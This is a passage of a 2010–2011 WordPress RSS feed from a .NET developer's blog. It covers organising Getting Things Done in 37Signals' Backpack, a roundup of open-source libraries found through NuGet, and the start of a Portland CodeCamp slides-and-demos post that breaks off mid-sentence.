<br />Filed under: <a href='http://blog.michaelckennedy.net/category/cloud/'>Cloud</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/tag/cloud/'>Cloud</a>, <a href='http://blog.michaelckennedy.net/tag/tools/'>Tools</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/43/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/43/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=43&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2011/05/25/building-a-cloud-os-for-net-developers-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/WindowsBoot.JPG" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/ToAppShortcut.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/AsApp.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/GoogleDocsApp.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/OptionalInstalls.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/GMailToOtherAccounts.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/mod_poprefresh.png" medium="image" />
	</item>
		<item>
		<title>Getting Things Done with Backpack and 37Signals</title>
		<link>http://blog.michaelckennedy.net/2011/01/30/getting-things-done-with-backpack-and-37signals/</link>
		<comments>http://blog.michaelckennedy.net/2011/01/30/getting-things-done-with-backpack-and-37signals/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 18:52:59 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://michaelckennedy.wordpress.com/?p=45</guid>
		<description><![CDATA[[Note: You can download this post as a PDF.] Here&#8217;s an article about Getting Things Done and how I use Backpack from 37Signals to make it happen. I&#8217;ve recently taken on some roles where I have a lot more loose-ends in my life and &#8230; <a href="http://blog.michaelckennedy.net/2011/01/30/getting-things-done-with-backpack-and-37signals/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=45&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>[Note: You can <a href="http://www.michaelckennedy.com/Downloads/Getting-Things-Done-with-Backpack-and-37Signals.pdf" target="_blank">download this post as a PDF</a>.]</p>
<p>Here&#8217;s an article about <a href="http://www.amazon.com/dp/0142000280?tag=michackennesw-20&amp;camp=213381&amp;creative=390973&amp;linkCode=as4&amp;creativeASIN=0142000280&amp;adid=0G5G4M8QJSSA6FYHG25M" target="_blank">Getting Things Done</a> and how I use <a href="http://backpackit.com/" target="_blank">Backpack</a> from <a href="http://37Signals.com/" target="_blank">37Signals</a> to make it happen.</p>
<p>I&#8217;ve recently taken on some roles where I have a lot more loose-ends in my life and adopting Getting Things Done (GTD) has really helped manage everything. I&#8217;m also a huge fan of the <a href="http://37Signals.com/" target="_blank">37Signals</a> suite of products (<a href="http://backpackit.com" target="_blank">Backpack</a>, <a href="http://basecamphq.com" target="_blank">Basecamp</a>, etc). That should be obvious from what we&#8217;re doing over at <a href="http://chatpast.com" target="_blank">ChatPast</a> with integrating instant messaging and <a href="http://37Signals.com/" target="_blank">37Signals</a> applications.</p>
<p>So using <a href="http://37Signals.com/" target="_blank">37Signals</a> to implement Getting Things Done (GTD) was the obvious choice for me. After looking at both <a href="http://backpackit.com" target="_blank">Backpack</a> and <a href="http://basecamphq.com" target="_blank">Basecamp</a>, it seems that <a href="http://backpackit.com" target="_blank">Backpack</a> is the clear winner for implementing GTD. You&#8217;ll see why shortly.</p>
<p>There have been some articles already written about Backpack + GTD. Brett Kelly wrote a nice one over at <a href="http://blog.crankingwidgets.com/2008/04/28/backpack-gtd-2/" target="_blank">Getting Things Done with 37signals’ Backpack – Why I’m Switching Back</a>. However, while this was helpful in showing me that I *could* implement GTD in Backpack, it didn&#8217;t show me how to do it.</p>
<p>How should I organize my pages? Do I use reminders, the calendar, both or neither? There will be TODO lists, but how do I correlate them to my actual work? What about check lists? Can I have templates for repeated ones? Answering these questions is the purpose of this article.</p>
<h3><strong>A Step-by-step guide to implementing GTD in Backpack</strong></h3>
<p>In this article we&#8217;ll look at the major pieces of GTD and how to fit them into Backpack.</p>
<p><span id="more-45"></span></p>
<table>
<tbody>
<tr>
<td>
<ol>
<li>Inboxes &#8211; not just email, but all of them (there are many)</li>
<li>Check Lists</li>
<li>The Next Action List</li>
<li>&#8220;Open-Loops&#8221; (Projects in GTD parlance &#8211; not to be confused with Basecamp projects)</li>
<li>Reminders &#8211; Actions with Dates</li>
<li>Waiting-For Lists</li>
<li>Reference Material</li>
<li>Taking it with you</li>
<li>What about <a href="http://basecamphq.com" target="_blank">Basecamp</a>?</li>
</ol>
</td>
</tr>
</tbody>
</table>
<h3><strong>First, A Quick Review on GTD</strong></h3>
<p>I&#8217;m not going to give you full summary of GTD. If you haven&#8217;t started using GTD yet, I recommend that you <a href="http://www.amazon.com/dp/0142000280?tag=michackennesw-20&amp;camp=213381&amp;creative=390973&amp;linkCode=as4&amp;creativeASIN=0142000280&amp;adid=0G5G4M8QJSSA6FYHG25M" target="_blank">read the book</a>. Don&#8217;t like reading? Listen to Scott Hanselman <a href="http://hanselminutes.com/default.aspx?showID=253" target="_blank">interview Lane Newsom</a> about it or watch David Allen <a href="http://www.youtube.com/watch?v=Qo7vUdKTlhk" target="_blank">speak about it at Google</a>.</p>
<p>Here&#8217;s enough to start seeing GTD manifest itself in Backpack. First a definition, what is<br />
Getting Things Done:</p>
<p style="padding-left:40px;padding-right:40px;font-style:italic;font-size:1.2em;"><span style="font-size:1.2em;">GTD is a work / life management technique which encourages you to</span><span style="font-size:1.2em;"> </span><span style="font-size:1.2em;">make sure you have absolutely zero open items and actions that you are</span><span style="font-size:1.2em;"> </span><span style="font-size:1.2em;">tracking in your head. You get everything that you are working on or waiting for</span><span style="font-size:1.2em;"> </span><span style="font-size:1.2em;">written down. This frees your mind to be fully &#8220;in the moment&#8221; and</span><span style="font-size:1.2em;"> </span><span style="font-size:1.2em;">focused on what you chose to do now as well as keeps you from forgetting anything</span> <span style="font-size:1.2em;">you committed to doing.</span></p>
<p><strong>At the heart of GTD is this decision-tree model:</strong><br />
<img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/getting_things_done.png" alt="" /></p>
<p>[image credit <a href="http://www.darkcoding.net/society/get-it-done/" target="_blank">Graham King</a>]</p>
<p>In our GTD in Backpack world, the 8 items ringing the workflow will mostly land in Backpack. The &#8220;Do It&#8221; one just gets done and saved nowhere &#8211; although I sometimes track these just for my personal record.</p>
<h3><strong>GTD in Backpack &#8211; The Basic Layout</strong></h3>
<p>In Backpack, I have 5 pages dedicated to GTD, which is convenient because as you see, you get 5 for free. (note: if you aren&#8217;t familiar with Backpack yet, watch these<br />
<a href="http://backpackit.com/tour" target="_blank">short videos</a> before going on.)<br />
<img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-pages.png" alt="" /><br />
You can see that each page corresponded to a major component of GTD. They are further partitioned inside each page &#8211; more on that below.</p>
<h3><strong>1. Inboxes</strong></h3>
<p>With inboxes, I&#8217;m not talking about just your email inbox &#8211; although that&#8217;s probably the biggest one for most people. GTD inboxes represent places that stuff that is new shows up and is waiting to be processed through the decision-tree model above. I think you&#8217;d be surprised to see how many inboxes you truly have if you took a full</p>
<p>account of them. GTD encourages you to do this for all sorts of things &#8211; take a full account and get them out of your mind.</p>
<p>That&#8217;s one of the great uses of check lists in GTD + Backpack.</p>
<h3><strong>2. Check Lists</strong></h3>
<p>A check list is any set of steps you need to remember. Sometimes it&#8217;s for one-off situations, others it&#8217;s repeating. Processing all the new stuff in your varied inboxes is a repetitive action. So I made a check list for that. Check lists, as you can see below, are TODO lists in backpack. When they are repeated, I make a template like the actual list but with the title prefix [template]. Then I make a copy to &#8220;do&#8221; the check list each time.</p>
<p>Here is the check list I use several times a week to make sure that I don&#8217;t forget to &#8220;process&#8221; one of my inboxes, which then feeds the other 8 types of containers ringing the workflow diagram.<br />
<img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-checklists-processing-in.png" alt="" /></p>
<p>You would see a very similar looking TODO list at the bottom of the [GTD] Check Lists page with the title &#8216;[template] Processing &#8220;in&#8221; Checklist&#8217;.</p>
<h3><strong>3. Next Action Lists</strong></h3>
<p>The Next Action Lists are pretty straight forward. As you saw above, there is a page entitled &#8220;[GTD] Next Actions&#8221;. Here I track my next action for each item or project I have open. Again the page is partition internally:</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-next-action.png" alt="" /></p>
<p>Notice that I have a personal and business one (actually several). One rule of GTD is that if your home life is a mess, it&#8217;ll affect your business life and visa versa. So manage it all here. Note also that you can add comments and attach files to the items to track additional info you might need.</p>
<p>If the next action came from an ongoing project (see below), then I&#8217;ve tried to put the name of the project as a prefix, for example <strong>House:</strong> in my personal items.</p>
<p>Finally, you&#8217;ll see that I don&#8217;t use the GTD contexts as most people might. In my world there is so much overlap for the contexts that they become meaningless. Traditional contexts might include calls, at computer, errands, at office, at home, agendas, read / review. However, I work at home with internet always on and a computer at my desk. I also do reading here. So those contexts basically all mean the same thing and thus I don&#8217;t use them.</p>
<h3><strong>4. Projects</strong></h3>
<p>As you saw in the basic structure, projects get their own page (internally partitioned). Thus I have a page entitled &#8216;[GTD] Projects&#8217;. This one is pretty simple. I keep track of all the &#8216;open-loops&#8217; that require 2 or more actions to complete. Each one gets its own TODO list within Backpack and those lists are partitioned by work and personal.</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-projects.png" alt="" /></p>
<h3><strong>5. Reminders</strong></h3>
<p>By far, the biggest GTD &#8220;bang for the buck&#8221; that you get from Backpack come in the form of reminders. However, their effect takes some exploring to see their full potential. First, let&#8217;s look at the reminders I have upcoming. Usually I have more than this, but they seem to have thinned out for the weekend.</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-reminders.png" alt="" /></p>
<p>In my reminders, you&#8217;ll see I need to finalize the home inspection details for a house I&#8217;m buying on Feb 4th. By putting it into my reminders, I can rest assured that I&#8217;ll remember it on the day that I can do something about it.</p>
<p>What about calendars? I make extremely heavy use of calendars for GTD. But not within Backpack. I use Google calendar, which then I sync to Outlook, my iPhone, my iPad, and I can also access via the web. If this had been an appointment, I would have skipped the reminders and just put it on my calendar. But it&#8217;s an action with a date, so it goes in the reminders.</p>
<h3><strong>Getting Notified of Reminders</strong></h3>
<p>The first place to leverage reminders is to have them show up as text messages on your phone. To do this, go to &#8220;My Info&#8221; in backpack, in the section &#8220;Mobile phone reminders&#8221;, check the checkbox for &#8220;Send text message reminders to my mobile phone&#8221;.</p>
<p>Next, you&#8217;ll want to see these reminders in your calendar (but not as appointments!).<br />
That&#8217;s where the crazy URL starting with iCalendar:     webcal://domain.backpackit.com/ical/&#8230;<br />
comes in. You can subscribe to this in Outlook or, as in my case, in Google calendar.</p>
<p>In my calendar, then have all these actions + dates show up alongside my day.</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/google-calendar.png" alt="" /></p>
<p>I think I had to replace &#8216;webcal:&#8217; with &#8216;http:&#8217; in order to add this to Google Calendar though.</p>
<h3><strong>6. Waiting-For Lists</strong></h3>
<p>Waiting lists are for situations where I know I&#8217;ll need to follow up on something but no necessarily by any particular date &#8211; in that case a reminder doesn&#8217;t make sense for me. But several times a week, I&#8217;ll scan the list and close those loops if they other person hasn&#8217;t responded by then. Here&#8217;s how that looks in Backpack:</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-waiting-for.png" alt="" /></p>
<p>Note that the dates I manually typed in are not the due dates. They are the creation dates (Backpack doesn&#8217;t track this). So I know how long I&#8217;ve been waiting.</p>
<h3><strong>7. Reference Material</strong></h3>
<p>One of the huge advantages that Basecamp has over other systems that are just simple TODO lists is the ability to attach rich reference material and additional information to the TODO item that represents a next action, or waiting item, and so on.</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-todo-comment.png" alt="" /></p>
<p>You can add comments to any TODO item. For basic information, this can be simple text. For example, if you needed to renew your insurance, you could attach the phone number and policy number to the TODO item so you don&#8217;t have to look it up.</p>
<p>For non-textual information, you can also attach files (pictures, word docs, whatever) to the TODO item. Note that file attachments are a paid feature, so you can&#8217;t use this option<br />
if you&#8217;re on the free version of Backpack.</p>
<h3><strong>8. Taking it with you</strong></h3>
<p>One of the key tenants of GTD is that you should have your info with you nearly all the time. You might be thinking that using Backpack means you will only be able to get to it when you&#8217;re on the web.</p>
<p>If you have an iPhone, iPad (or even iPod touch), you can always have an offline copy available using an app called Satchel found in the <a href="http://backpackit.com/extras" target="_blank">Extras section</a>.</p>
<p>Here&#8217;s a few screenshots from the <strong>iPhone</strong>:</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-iphone-launch.png" alt="" /><br />
<img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-iphone-checklist-full.png" alt="" /></p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-iphone-checklist-open.png" alt="" /></p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-iphone-reminders.png" alt="" /></p>
<p>Here&#8217;s a few screenshots from the <strong>iPad</strong> (click to enlarge):</p>
<p><a href="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-ipad-checklist-full.jpg" target="_blank"><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-ipad-checklist-full-thumb.png" alt="" /></a></p>
<p><a href="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-ipad-checklist-open.jpg" target="_blank"><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-ipad-checklist-open-thumb.png" alt="" /></a></p>
<p><a href="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-ipad-reminders.jpg" target="_blank"><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-ipad-reminders-thumb.png" alt="" /></a></p>
<h3><strong>9. What about <a href="http://basecamphq.com" target="_blank">Basecamp</a>?</strong></h3>
<p>Some projects are either shared by a team of people or are truly massive with many steps, artifacts, milestones, and files. These projects are better managed outside of Backpack. In that case I use the paid version of Basecamp and simply add a note to the project entry page as you can see here.</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-project-managed-in-basecamp.png" alt="" /></p>
<h3><strong>Conclusion</strong></h3>
<p>If you&#8217;ve been thinking of using Backpack for GTD, I hope this has given you something to work with. I certainly don&#8217;t promise to be a GTD expert. But this setup works well for me and I think it will for you too.</p>
<p>Thanks!<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/articles/'>Articles</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/45/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/45/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=45&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2011/01/30/getting-things-done-with-backpack-and-37signals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/getting_things_done.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-pages.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-checklists-processing-in.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-next-action.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-projects.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-reminders.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/google-calendar.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-waiting-for.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-todo-comment.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-iphone-launch.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-iphone-checklist-full.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-iphone-checklist-open.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-iphone-reminders.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-ipad-checklist-full-thumb.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-ipad-checklist-open-thumb.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/satchel-ipad-reminders-thumb.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/GTD/backpack-project-managed-in-basecamp.png" medium="image" />
	</item>
		<item>
		<title>11 Killer Open Source Projects I Found with NuGet</title>
		<link>http://blog.michaelckennedy.net/2011/01/19/11-killer-open-source-projects-i-found-with-nuget/</link>
		<comments>http://blog.michaelckennedy.net/2011/01/19/11-killer-open-source-projects-i-found-with-nuget/#comments</comments>
		<pubDate>Wed, 19 Jan 2011 20:51:51 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Articles]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://michaelckennedy.wordpress.com/?p=58</guid>
		<description><![CDATA[So maybe I&#8217;m late to the party, but I recently started playing with NuGet. It&#8217;s a killer new way to find, install, maintain, and manage references to open source libraries in Visual Studio 2010. Plenty of people have written about it (Phil Haack &#8230; <a href="http://blog.michaelckennedy.net/2011/01/19/11-killer-open-source-projects-i-found-with-nuget/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=58&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>So maybe I&#8217;m late to the party, but I recently started playing with <a href="http://nuget.org/" target="_blank">NuGet</a>. It&#8217;s a killer new way to find, install, maintain, and manage references to open source libraries in Visual Studio 2010. Plenty of people have written about it (<a href="http://haacked.com/tags/NuGet/default.aspx" target="_blank">Phil Haack</a> and  <a href="http://www.hanselman.com/blog/CategoryView.aspx?category=NuGet">Scott Hanselman</a> for example). Let&#8217;s just say you should learn about NuGet if you don&#8217;t know it already.</p>
<p>What I want to talk about is all the cool open source projects I found just by flipping through the pages of the NuGet directory in the Visual Studio &#8220;Add Library Package Reference&#8221; dialog.</p>
<p><span id="more-58"></span></p>
<p><span style="font-size:x-large;">1</span>. RazorEngine at  <a href="http://razorengine.codeplex.com/" target="_blank">http://razorengine.codeplex.com/</a></p>
<p>RazorEngine is templating engine built upon Microsoft&#8217;s Razor parsing technology. The Razor Templating Engine allows you to use Razor syntax to build robust templates No need to learn a custom clunky API for generating things like HTML and emails and so on. Just use the hot new @Razor syntax from ASP.NET MVC 3.</p>
<p><span style="font-size:x-large;">2</span>. YUI Compressor for .Net at <a href="http://yuicompressor.codeplex.com/" target="_blank">http://yuicompressor.codeplex.com/</a></p>
<p>YUI Compressor for .Net is is a .NET port of the Yahoo! UI Library&#8217;s YUI Compressor Java project. Do you have a bunch of CSS and JavaScript files and you want your page to load faster. This is a great way to do it from ASP.NET.</p>
<p><span style="font-size:x-large;">3</span>. 51degrees.mobi at <a href="http://51degrees.codeplex.com/" target="_blank">http://51degrees.codeplex.com/</a></p>
<p>Want to build an ASP.NET MVC website that has both a desktop and mobile version from the same project? 51degrees.mobi Foundation is an ASP.NET open source module which detects mobile devices and browsers, enhancing the information available to ASP.NET. Mobile handsets can optionally be redirected to a home page designed for mobile phones. Smart phone and feature phones are all supported.</p>
<p><span style="font-size:x-large;">4</span>. Lucene.Net at  <a href="http://lucene.apache.org/lucene.net/" target="_blank">http://lucene.apache.org/lucene.net/</a></p>
<p>Lucene.Net is a source code, class-per-class, API-per-API and algorithmatic port of the Java Lucene search engine to the C# and .NET platform utilizing Microsoft .NET Framework. Want indexed full-text search from .NET? Here you go.</p>
<p><span style="font-size:x-large;">5</span>. MvcMailer at  <a href="http://www.codeproject.com/KB/aspnet/MvcMailerNuGet.aspx" target="_blank">http://www.codeproject.com/KB/aspnet/MvcMailerNuGet.aspx</a></p>
<p>Send a professional looking HTML email from your ASP.NET MVC simply by pointing at a particular view.</p>
<p><span style="font-size:x-large;">6</span>. DotNetZip at <a href="http://dotnetzip.codeplex.com/" target="_blank">http://dotnetzip.codeplex.com/</a></p>
<p>DotNetZip is an easy-to-use, FAST, FREE class library and toolset for manipulating zip files or folders. Zip and Unzip is easy: with DotNetZip, .NET applications written in VB, C# &#8211; any .NET language &#8211; can easily create, read, extract, or update zip files. For Mono or MS .NET.</p>
<p><span style="font-size:x-large;">7</span>. FileDB at <a href="http://filedb.codeplex.com/" target="_blank">http://filedb.codeplex.com/</a></p>
<p>Ever wanted to have a single, simple file that you can access as a basic database without the fuss? FileDB is a free, fast, lightweight C# (v3.5) DLL project to store, retrieve and delete files using a single archive file as a container on disk. It&#8217;s ideal for storing files (all kind, all sizes) without databases and keeping them organized on a single disk file.</p>
<p><span style="font-size:x-large;">8</span>. Chargify.NET at <a href="http://chargify.codeplex.com/" target="_blank">http://chargify.codeplex.com/</a></p>
<p>If you need to do recurring billing, like I need to over at  <a href="http://chatpast.com/" target="_blank">http://chatpast.com</a>, then  Chargify.NET is super handy. It&#8217;s comprehensive C# API wrapper library for accessing <a href="http://chargify.com/" target="_blank">http://chargify.com</a>, using XML or JSON to read/write.</p>
<p><span style="font-size:x-large;">9</span>. Facebook C# SDK at  <a href="http://facebooksdk.codeplex.com/" target="_blank">http://facebooksdk.codeplex.com/</a></p>
<p>Facebook is all the rage these days, and python, well&#8230; Here&#8217;s a .NET SDK for Facebook. The Facebook C# SDK helps .Net developers build web, desktop, Silverlight, and  Windows Phone 7 applications that integrate with Facebook.</p>
<p><span style="font-size:x-large;">10</span>. OpenSearch Toolkit at  <a href="http://opensearchtoolkit.codeplex.com/" target="_blank">http://opensearchtoolkit.codeplex.com/</a></p>
<p>OpenSearch is a great way to &#8220;light-up&#8221; the search features of your site. For example, if you visit <a href="http://chatpast.com/" target="_blank">http://chatpast.com</a> with Firefox and pull down the search engine selector, you&#8217;ll see &#8220;Add ChatPast Search&#8221;. Do the same in Chrome and then type <a href="http://chatpast.com/">chatpast.com</a> in the omnibox and hit tab then you&#8217;re searching directly into your chat history (even when you&#8217;re not on <a href="http://chatpast.com/">chatpast.com</a>). So obviously OpenSearch is awesome. This toolkit makes that easier. The OpenSearch Toolkit provides ASP.NET developers with drop-in support for OpenSearch. This lets you quickly and easily publish valid search suggestions to all the major browsers.</p>
<p><span style="font-size:x-large;">11</span>. NoRM at <a href="http://normproject.org/">http://normproject.org/</a></p>
<p><a href="2010/04/22/TheNoSQLMovementLINQAndMongoDBOhMy.aspx">LINQ, NoSQL and MongoDB</a>, what more could you want? NoRM is how you make it happen. NoRM is a .Net library for connecting to the document-oriented database, <a href="http://www.mongodb.org/">MongoDB</a>.</p>
<p><span style="font-size:x-large;">11.5</span>. Simple MVVM for WPF, SL, and WP7 at <a href="http://simplemvvmtoolkit.codeplex.com/">http://simplemvvmtoolkit.codeplex.com/</a> (added after original post, hence the .5)</p>
<p>Simple MVVM Toolkit makes it easier to develop Silverlight, WPF and WP7 applications using the Model-View-ViewModel design pattern. The purpose of the toolkit is to provide a simple framework and set of tools for getting up to speed quickly with Silverlight applications based on the MVVM design pattern. The emphasis is on simplicity, but it should contain everything you need to implement MVVM for real-world line of business applications.</p>
<p>Keep in mind, that to get the latest version of any of these projects, you can just use the Visual Studio &#8221;Add Library Package Reference&#8221; dialog because of all the NuGet goodness. No need to download and manage these project references at a low level.</p>
<p>Enjoy!<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/open-source/'>Open Source</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/tools/'>Tools</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/58/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/58/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=58&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2011/01/19/11-killer-open-source-projects-i-found-with-nuget/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Portland CodeCamp Downloads: Demos and Slides</title>
		<link>http://blog.michaelckennedy.net/2010/05/24/portland-codecamp-downloads-demos-and-slides/</link>
		<comments>http://blog.michaelckennedy.net/2010/05/24/portland-codecamp-downloads-demos-and-slides/#comments</comments>
		<pubDate>Mon, 24 May 2010 20:58:19 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Speaking]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Code Camps]]></category>
		<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://michaelckennedy.wordpress.com/?p=60</guid>
		<description><![CDATA[Thanks to everyone who came to my two sessions at the Portland CodeCamp this weekend. The NoSQL Movement, LINQ, and MongoDB &#8211; Oh My! Panel Discussion: NoSQL vs. RDBMS You can download the slides, demo code, and the mongoctx code &#8230; <a href="http://blog.michaelckennedy.net/2010/05/24/portland-codecamp-downloads-demos-and-slides/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=60&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div style="font-size:1.2em;">
<p>Thanks to everyone who came to my two sessions at the Portland CodeCamp this weekend.</p>
<p><a href="http://portlandcodecamp.org/2010/Sessions/Details/52" target="_blank">The NoSQL Movement, LINQ, and MongoDB &#8211; Oh My!</a></p>
<p><a href="http://portlandcodecamp.org/2010/Sessions/Details/120" target="_blank">Panel Discussion: NoSQL vs. RDBMS</a></p>
<p>You can download the slides, demo code, and the mongoctx code snippet for Visual Studio here:</p>
<p><strong>NoSQL + MongoDB + LINQ</strong>:<br />
<a href="http://www.michaelckennedy.com/Talks/Downloads/PortlandCodeCamp/Kennedy-PdxCodeCamp-2010-MongoDB-NoRM-LINQ.zip" target="_blank">http://www.michaelckennedy.com/Talks/Downloads/PortlandCodeCamp/Kennedy-PdxCodeCamp-2010-MongoDB-NoRM-LINQ.zip</a></p>
<p><strong>NoSQL vs. RDBMS Panel</strong>:<br />
<a target="_blank">http://www.michaelckennedy.com/Talks/Downloads/PortlandCodeCamp/Kennedy-PdxCodeCamp-2010-NoSQL-vs-RDBMS-Panel.zip</a></p>
<p>If you missed the sessions and want to see some MongoDB + LINQ or if you would like to recommend this session to a friend, I&#8217;ll be doing a webcast on a very similar talk tomorrow:</p>
